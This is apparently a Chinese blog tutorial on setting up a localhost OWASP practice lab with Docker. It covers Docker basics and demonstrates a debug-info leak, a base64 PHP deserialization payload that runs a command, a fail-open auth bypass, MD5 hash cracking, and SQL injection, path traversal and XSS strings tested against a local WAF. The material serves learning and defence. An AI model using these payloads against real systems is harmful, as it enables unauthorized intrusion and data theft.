用 Docker 搭一个 OWASP 练习靶场，顺便把Docker再深入一下

为什么我要自己搭一个靶场#

练 OWASP Top 10 的 A02、A08、A10 时发现一个问题：DVWA 覆盖不到这三条。

它们不是”代码漏洞”，是”工程事故”——生产环境忘关 debug、外部输入直接反序列化、catch 里 return true。现成靶场里很少有这种玩意儿，因为不好”演示”。

自己写三个 PHP 文件才 90 行。但接下来的问题是：怎么把它跑起来。

这正好是个练 Docker 的机会。所以这篇不是”Docker 教程 + 附赠一个靶场”，而是”为了搭靶场，把 Docker 用一遍”。

两条线一起走：

1. 把这个靶场跑起来（3 个故意写坏的 PHP 文件）
2. 顺手把 Docker 的常用操作练熟

先看结果#

不用管原理，先复制这几条命令。它会在机器上起一个网页服务器：

1
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpine

Tips — 拆解命令 拆开看：

• docker run —— 主命令：用某个镜像启动一个容器
• -d —— detach，后台运行。不加它，容器的输出会占住你的终端，Ctrl-C 就把容器停了
• --name hello-nginx —— 给容器起个人能叫的名字。不起名 Docker 会随机生成一个（比如 zen_hopper），后面 docker stop 时你得先 docker ps 查
• -p 127.0.0.1:8081:80 —— 端口映射，三段式，从左到右读：绑定的地址 : 宿主机端口 : 容器内端口
  • 绑 127.0.0.1 = 只有本机能访问（安全，靶场就该这样）
  • 绑 0.0.0.0 或不写地址 = 整个局域网都能访问（练习环境千万别这么写）
  • 宿主机 8081 收到请求 → 转发给容器的 80 端口
• nginx:alpine —— 镜像名:标签。不写标签等于 :latest，等于不锁版本，后面 A03 那条会讲这为什么是问题

连成一句人话：在后台用 nginx 的 alpine 版镜像起一个叫 hello-nginx 的容器，只让本机通过 8081 端口访问它里面的 80 端口。

三个最常加的：

1
--rm                 # 容器一停就自动删除，适合一次性试验
2
-it                  # 交互式终端，配合 sh/bash 进去手动操作
3
-v 宿主机路径:容器路径  # 目录挂载，见第六节

然后打开 http://127.0.0.1:8081/，你会看到 nginx 的默认欢迎页。

再确认一下它在跑：

1
docker ps

实测输出（只保留相关列）：

1
CONTAINER ID   IMAGE          STATUS          PORTS                      NAMES
2
6910f43e0aaf   nginx:alpine   Up 2 seconds    127.0.0.1:8081->80/tcp     hello-nginx

到这一步已经完成了一次完整的 Docker 操作：从远程仓库下载镜像 → 启动成容器 → 把容器端口映射到本机 → 访问它。

用完删掉：

1
docker rm -f hello-nginx

这条命令会打印容器名。-f 是强制，正在跑也能删。不删也没关系，但别攒 —— 这些容器会一直占着端口和磁盘。

Tips — 关于Docker的一些名词解释 镜像（image） = 一个装好系统的压缩包

• 类比：一张装好系统、装好软件的光盘
• 它是只读的，你不能改它，只能用它启动实例
• nginx:alpine 就是”nginx 官方镜像的 alpine 版本”，alpine 是个只有 5MB 的精简 Linux

容器（container） = 用镜像启动出来的一个运行实例

• 类比：拿那张光盘启动出来的一台正在跑的机器
• 你能进它、能改它里面的文件、能杀掉它
• 同一个镜像可以起 10 个容器，它们互不影响

仓库（registry） = 存放镜像的地方

• docker run nginx:alpine 发现本地没有这个镜像，就会去 Docker Hub 下载
• 这就是第一次跑要等一会儿的原因

一句话记住关系：仓库里有镜像，镜像跑起来是容器，容器删了镜像还在。

容器是活的：进去、看日志、停、删#

看日志（容器里的程序输出都在这）

1
docker logs hello-nginx

实测尾部：

1
2026/10/22 03:40:15 [notice] 1#1: start worker process 37
2
172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"

第二条是 curl 的那次请求。注意来源 IP 是 172.17.0.1 —— 不是 127.0.0.1。因为请求经过了 Docker 的端口转发，容器看到的对端是网关地址。这个细节在排查”为什么日志里 IP 不对”时非常关键。

• docker logs -f 容器名 —— 实时跟随（类似 tail -f）
• docker logs --tail 50 容器名 —— 只看最后 50 行

进容器内部

1
docker exec -it hello-nginx sh

• exec —— 在主进程之外再开一个进程进去（不重启容器）
• -it —— 分配交互终端
• sh —— 因为 alpine 镜像里没有 bash，只有 sh

进去之后就是容器里的 root：

1
docker exec hello-nginx sh -c 'ls /usr/share/nginx/html'

1
50x.html
2
index.html

注意这个路径：/usr/share/nginx/html 是 容器内 的网页目录，跟电脑上的任何目录都没关系（除非你做挂载）。

停和删

1
docker stop hello-nginx     # 停止（进程收到 SIGTERM，10 秒后 SIGKILL）
2
docker start hello-nginx    # 再启动，容器里之前改的文件还在
3
docker rm hello-nginx       # 删除（必须先停，或者加 -f）

stop 和 rm 的区别要分清：stop 只是关机，rm 是把机器扔了。 扔了之后容器里改过的文件全没，镜像不受影响。

容器是易失的：数据要挂出来#

容器里改的东西，docker rm 之后就没了。这在靶场里无所谓，但真实项目里数据库不能这么玩。

Docker 给两种方案：

bind mount（绑定挂载） —— 把你电脑上的某个目录，直接映射成容器里的某个目录

1
mkdir -p /tmp/docker-demo/html
2
echo '<h1>宿主机改的文件</h1>' > /tmp/docker-demo/html/index.html
3

4
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 \
5
  -v /tmp/docker-demo/html:/usr/share/nginx/html:ro \
6
  nginx:alpine

• -v A:B —— 把宿主机的 A 目录挂到容器的 B 目录
• :ro —— read only，容器只能读不能改。给静态文件挂载一定要加，防止容器里的进程把宿主机文件改了

实测：改宿主机文件，容器不用重启就生效

1
curl -s http://127.0.0.1:8081/
2
# <h1>宿主机改的文件</h1>
3

4
echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.html
5
curl -s http://127.0.0.1:8081/
6
# <h1>改完立刻生效</h1>

这就是我们搭靶场要用的方式：把 web/ 目录挂进容器，改 PHP 文件立刻能看到效果，不用重建镜像。

volume（命名卷） —— 由 Docker 管理的存储，你不知道它在磁盘哪个角落

1
docker volume ls
2
docker volume create mydata

适合数据库这种”你不需要直接改文件，只要它别丢”的场景。 DVWA 靶场的 dvwa-db-data 就是命名卷。

什么时候用哪个：

• 直接编辑文件、要看到文件 → bind mount
• 数据只要持久、不需要手动碰 → volume
• 挂载路径写错会怎样？Docker 会自动在宿主机创建这个空目录，然后容器里看到空目录，页面白屏。这不是报错，是最容易浪费半小时的坑

这个靶场：compose 文件逐行读#

docker-compose.yml 全文：

1
services:
2
  web:
3
    image: php:8.3-apache
4
    container_name: owasp-lab
5
    ports:
6
      - "127.0.0.1:8000:80"
7
    volumes:
8
      - ./web:/var/www/html

一行为什么这么写：

• services: —— 这个文件里要跑的服务清单。现在只有一个叫 web 的
• image: php:8.3-apache —— 官方 PHP 镜像，已经内置 Apache，不用自己装。这就是”镜像选对了省一半事”
• container_name: owasp-lab —— 固定容器名，方便 docker exec owasp-lab sh。不写会生成 目录名-web-1 这种
• ports: - "127.0.0.1:8000:80" —— 和 -p 一个意思，只是写成列表。注意这里有引号，因为冒号在 YAML 里有特殊含义
• volumes: - ./web:/var/www/html —— 相对路径 ./web 指 compose 文件所在目录。挂到 Apache 的默认站点根

为什么用 compose 而不是一条 docker run？

• 参数写进文件，下次不用回忆
• 将来要加数据库、加 WAF，就往 services 里多写一段
• 别人拿到这个目录，docker compose up -d 一条命令就跑起来

等价的手写命令是：

1
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \
2
  -v "$PWD/web:/var/www/html" php:8.3-apache

起、停、重建#

在 OWASP-Top10-lab/ 目录里执行：

1
docker compose up -d        # 起（-d 后台）
2
docker compose ps           # 看状态
3
docker compose logs -f      # 跟随日志
4
docker compose down         # 停并删除容器（镜像和挂载的目录都留着）
5
docker compose restart      # 重启

几个容易混的点：

• 是 docker compose（中间空格，v2 插件），不是 docker-compose（老版本 Python 脚本）。你机器上是 v5.5.0，用前者
• 改了挂载目录里的 PHP 文件：不用重启，Apache 每次请求都重新读
• 改了 compose 文件（端口、镜像）：要 docker compose up -d 重新应用，Docker 会自动重建变化的部分
• docker compose down -v 会额外删掉命名卷，数据一起没。有数据库的靶场慎用

验证靶场起来了：

1
curl -s http://127.0.0.1:8000/

能看到三个练习入口的列表。

踩坑记录#

坑 1：docker pull 卡住不动，几分钟没进度

在这台机器上拉 php:8.3-apache 时实测卡了 6 分钟以上。国内直连 Docker Hub 经常这样。

排查顺序：

1. 先确认不是网络彻底断了：curl -I https://registry-1.docker.io/v2/
2. 在 Docker Desktop 里配镜像加速：Settings → Docker Engine，在 JSON 里加

1
{
2
  "registry-mirrors": ["https://你的加速地址"]
3
}

3. 改完点 Apply & Restart，再 docker pull

注意：国内可用的加速地址是变动的，网上教程里的地址经常已经失效。 不要照抄，先确认当前可用。

如果暂时配不好加速，还有一个绕法：用本地已有的 PHP+Apache 镜像替代。这个靶场对 PHP 版本没要求，任何带 Apache 的 PHP 镜像都能跑。比如本机已经有 DVWA 镜像时：

1
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \
2
  --entrypoint apache2-foreground \
3
  -v "$PWD/web:/var/www/html" \
4
  ghcr.io/digininja/dvwa:latest

关键是 --entrypoint apache2-foreground —— 覆盖掉镜像原来的启动脚本（DVWA 的启动脚本会去连数据库），直接让 Apache 前台跑起来。这就是 --entrypoint 的用途：临时改变容器的启动命令，不用改镜像。

换成镜像后，php -v 从 8.3 变成 8.5 这类数字会变，但所有漏洞行为一模一样。

坑 2：端口被占用

1
Error response from daemon: Ports are not available: exposing port TCP 0.0.0.0:8080

意思是宿主机这个端口已经有别的程序在监听。查是谁：

1
lsof -iTCP:8080 -sTCP:LISTEN

这台机器上 8888 端口就被 DVWA 靶场占着 —— 所以这个文档里的靶场改用 8000。同一个端口不能给两个服务用，换端口比找冲突简单。

坑 3：Apple Silicon 上镜像跑不起来

报 exec format error 或者容器反复重启，通常是那个镜像只有 x86 版本。

1
docker image inspect 镜像名 --format '{{.Architecture}}'

返回 arm64 说明是原生，amd64 说明是模拟。只有 amd64 时才需要加：

1
docker run --platform linux/amd64 ...

代价是性能差一截，能在 arm64 上跑就不要加。 我们用的 php:8.3-apache、nginx:alpine 都有 arm64 原生版。

坑 4：改了 PHP 文件，页面没变化

三个检查点，按顺序：

1. 文件确实在挂载目录里？ls ./web/vuln/
2. 挂载路径对不对？docker inspect owasp-lab --format '{{json .Mounts}}'
3. 是不是改在了容器里而不是宿主机？docker exec owasp-lab cat /var/www/html/vuln/a02-debug.php | head -3

第三种最常见：docker exec 进去用 vi 改的是容器里的副本，docker compose down 之后改动就没了。改文件永远在宿主机改。

坑 6：.htaccess 不生效

A02 的练习里要用 .htaccess 打开目录索引（Options +Indexes）。如果放了没效果，检查两件事。

第一，这个目录允许 .htaccess 覆盖配置吗？

1
docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5

实测输出：

1
/etc/apache2/conf-available/docker-php.conf:10:  AllowOverride All
2
/etc/apache2/apache2.conf:161:  AllowOverride None

docker-php.conf 里 AllowOverride All 说明 /var/www/ 下的 .htaccess 是生效的；apache2.conf 那条 None 管的是根目录 /。看到多个结果不要慌，关键是看哪个块的路径包含你的目录。

第二，改的是不是宿主机上的文件？

1
docker exec owasp-lab cat /var/www/html/backup/.htaccess

如果这里看不到你写的内容，说明写错地方了。

另外要知道：不是所有镜像都允许 .htaccess。 官方 php:8.3-apache 通过 docker-php.conf 开了 AllowOverride All，所以能用；换成别的镜像可能就被禁了。禁掉 .htaccess 时，要改 Apache 主配置（在容器里改，或者挂一个配置文件进去）。

顺带一提，这个练习值得做的原因是：默认状态是 403（安全），加一行 .htaccess 就变 200（不安全）—— 这就是 A02 说的”配置错误”，安全和不安全之间只隔一行。

坑 5：docker ps 看不到刚起的容器

docker ps 只显示正在运行的。容器启动失败退出后，它在 docker ps -a 里：

1
docker ps -a --filter name=owasp-lab
2
docker logs owasp-lab     # 看它为什么退出

常用的docker命令#

看

• docker ps —— 正在跑的容器
• docker ps -a —— 包括已经退出的
• docker images —— 本地镜像
• docker logs -f 容器 —— 跟日志
• docker inspect 容器 —— 全部细节（IP、挂载、环境变量）
• docker stats —— 实时 CPU / 内存

进出

• docker exec -it 容器 sh —— 进去
• docker cp 文件 容器:/路径 —— 拷贝文件进容器（调试用）
• docker cp 容器:/路径 文件 —— 拷出来

生命周期

• docker compose up -d / down / restart
• docker stop / start / rm -f
• docker restart 容器

清理（有破坏性，看清再敲）

• docker rm -f 容器名 —— 删指定容器
• docker rmi 镜像名 —— 删指定镜像
• docker system df —— 先看占了多少
• docker system prune —— 删所有已停止的容器、无用网络、悬空镜像（不含卷）
• docker system prune -a --volumes —— 连镜像和卷一起删，会删掉你所有靶场的数据

实际测试一下#

1
$ docker version --format 'Client {{.Client.Version}} / Server {{.Server.Version}} ({{.Server.Arch}})'
2
Client 29.7.2 / Server 29.7.2 (arm64)
3

4
$ docker compose version
5
Docker Compose version v5.5.0

1
$ docker ps --filter name=owasp-lab --format '{{.Names}}\t{{.Status}}\t{{.Ports}}'
2
owasp-lab  Up 3 seconds  127.0.0.1:8000->80/tcp

1
curl -i http://127.0.0.1:8000/vuln/a02-debug.php

1
[DEBUG] file_get_contents() failed
2
target : /var/log/app/access-today.log
3
cwd    : /var/www/html/vuln
4
php    : 8.5.11
5
server : Apache/2.4.68 (Debian)
6
config : {
7
    "db_host": "db",
8
    "db_user": "dvwa",
9
    "db_pass": "p@ssw0rd",
10
    "secret": "7f2c1e9a4b"
11
}
12

13
[HTTP 500]

1
curl -si http://127.0.0.1:8000/backup/

1
HTTP/1.1 403 Forbidden
2
Date: Thu, 22 Oct 2026 03:42:22 GMT
3
Server: Apache/2.4.68 (Debian)
4
Content-Length: 316
5
Content-Type: text/html; charset=iso-8859-1

1
printf 'Options +Indexes\n' > web/backup/.htaccess
2
curl -s http://127.0.0.1:8000/backup/ | grep -E "Index of|db.sql.bak"

1
  <title>Index of /backup</title>
2
<h1>Index of /backup</h1>
3
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="db.sql.bak">db.sql.bak</a></td><td align="right">2026-10-22 03:31  </td><td align="right">439 </td><td>&nbsp;</td></tr>

1
$ docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5
2
/etc/apache2/conf-available/docker-php.conf:10:  AllowOverride All
3
/etc/apache2/apache2.conf:161:  AllowOverride None

1
INSERT INTO users VALUES
2
  (1, 'admin',  '5f4dcc3b5aa765d61d8327deb882cf99', 'admin'),
3
  (2, 'gordon', 'e10adc3949ba59abbe56e057f20f883e', 'user');

1
for w in password 123456 admin; do
2
  printf '%-10s -> %s\n' "$w" "$(printf '%s' "$w" | md5)"
3
done

1
password   -> 5f4dcc3b5aa765d61d8327deb882cf99
2
123456     -> e10adc3949ba59abbe56e057f20f883e
3
admin      -> 21232f297a57a5a743894a0e4a801fc3

1
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=YToxOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO30%3D"

1
不是对象，结果: array (
2
  'name' => 'guest',
3
)
4
请求结束（对象的 __destruct 会在这之后执行）
5
[HTTP 200]

1
O:5:"Cache":2:{s:3:"key";s:2:"gc";s:7:"payload";s:2:"id";}

1
Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ==

1
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ%3D%3D"

1
反序列化成功，得到对象: Cache
2
请求结束（对象的 __destruct 会在这之后执行）
3
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4
[HTTP 200]

1
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest&role=user"

1
200 OK —— 已进入管理面板
2
name: guest
3
role: user
4
[HTTP 200]

1
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest"

1
<br />
2
<b>Warning</b>:  Undefined array key "role" in <b>/var/www/html/vuln/a10-failopen.php</b> on line <b>11</b><br />
3
200 OK —— 已进入管理面板
4
name: guest
5
role: (未提供)
6
[HTTP 200]

1
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
2
  "http://127.0.0.1:8888/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"

1
HTTP 302

1
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
2
  "http://127.0.0.1:8889/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"

1
HTTP 403

1
target        : /vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit
2
score         : 100 / 阈值 100
3
action        : block   resp_status: 403
4
backend_status: None
5
命中          : 1021 SQL 注入 · 恒真条件 +55; 1024 SQL 注入 · 引号闭合特征 +45

1
for p in "1' OR '1'='1" "1'; DROP TABLE users--" "../../etc/passwd" "<script>alert(1)</script>"; do
2
  curl -s -o /dev/null -w '%{http_code} ' "http://127.0.0.1:8889/vulnerabilities/sqli/?id=${p}&Submit=Submit"
3
done

1
11:38:36  ?id=1' OR '1'='1      score=100 action=log would_block=True
2
          └─ 1021 SQL 注入 · 恒真条件(55); 1024 SQL 注入 · 引号闭合特征(45)
3
11:38:36  ?id=1'; DROP TABLE    score=185 action=log would_block=True
4
          └─ 1024 引号闭合特征(45); 1026 破坏性语句(70); 1027 堆叠查询(70)
5
11:38:36  ?id=../../etc/passwd  score=170 action=log would_block=True
6
          └─ 1001 路径穿越(70); 1010 敏感文件访问(100)
7
11:38:36  ?id=<script>alert(1)  score=115 action=log would_block=True
8
          └─ 2001 XSS · script 标签(70); 2007 弹窗与危险函数(45)

1
ts, req_id, client, peer, method, target, host, ua,
2
action, would_block, score, threshold, hits[], backend_status, resp_status, elapsed_ms

1
cd ~/代码库/LYH-Blogs && pnpm audit

1
122 vulnerabilities found
2
Severity: 12 low | 45 moderate | 63 high | 2 critical

1
critical  Astro: Remote code execution through AVIF image optimization
2
Package   astro
3
Vulnerable versions  <7.2.8
4
Patched versions     >=7.2.8
5
Paths     . > @astrojs/mdx@5.0.6 > astro@6.3.5
6
          . > astro@6.3.5
7

8
critical  node-tar: Decompression/parse DoS via unlimited input
9
Package   tar
10
Vulnerable versions  <=7.5.18
11
Patched versions     >=7.5.19
12
Paths     . > astro-icon@1.1.5 > @iconify/tools@4.2.0 > tar@7.5.16

1
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpine

1
$ docker ps --filter name=hello-nginx --format '{{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'
2
hello-nginx  nginx:alpine  Up Less than a second  127.0.0.1:8081->80/tcp
3

4
$ curl -s -o /dev/null -w 'HTTP %{http_code}  大小 %{size_download} 字节\n' http://127.0.0.1:8081/
5
HTTP 200  大小 896 字节

1
2026/10/22 03:40:15 [notice] 1#1: start worker process 37
2
172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"

1
$ docker exec hello-nginx sh -c 'cat /etc/os-release | head -2; ls /usr/share/nginx/html'
2
NAME="Alpine Linux"
3
ID=alpine
4
--- 网页目录 ---
5
50x.html
6
index.html

1
$ docker run -d --name hello-nginx -p 127.0.0.1:8081:80 -v /tmp/docker-demo/html:/usr/share/nginx/html:ro nginx:alpine
2
$ curl -s http://127.0.0.1:8081/
3
<h1>宿主机改的文件</h1>
4
$ echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.html
5
$ curl -s http://127.0.0.1:8081/
6
<h1>改完立刻生效</h1>

1
$ docker inspect hello-nginx --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
2
172.17.0.2